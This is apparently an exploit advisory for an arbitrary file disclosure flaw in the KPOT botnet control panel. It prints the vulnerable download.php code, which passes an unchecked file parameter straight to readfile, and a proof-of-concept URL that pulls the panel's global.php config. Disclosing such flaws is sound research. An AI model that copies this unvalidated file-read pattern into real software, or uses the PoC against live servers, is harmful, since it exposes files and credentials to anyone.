KPOT Botnet Arbitrary File Disclosure

The KPOT Botnet suffers from an arbitrary file disclosure vulnerability that can also disclose credentials.


MD5 | 0392288aa3bc83bd5930356df7bb2882

################################
# Exploit Title: KPOT Botnet - File Download/Source Code Disclosure Vulnerability
# Google Dork: n/a
# Date: 26/11/2018
# Exploit Author: n4pst3r
# Vendor Homepage: unkn0wn
# Software Link: https://bhf.io/threads/515432/
# Version: unkn0wn
# Tested on: Windows 10, debian 7
# CVE : n/a
################################
# Vuln-Code: download.php
<?php
if (isset($_GET['file']))
{
$file = $_GET['file'];
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Content-Length: ' . filesize($file));
readfile($file);
}
?>
################################
PoC:
http://127.0.0.1/download.php?file=global.php

Related Posts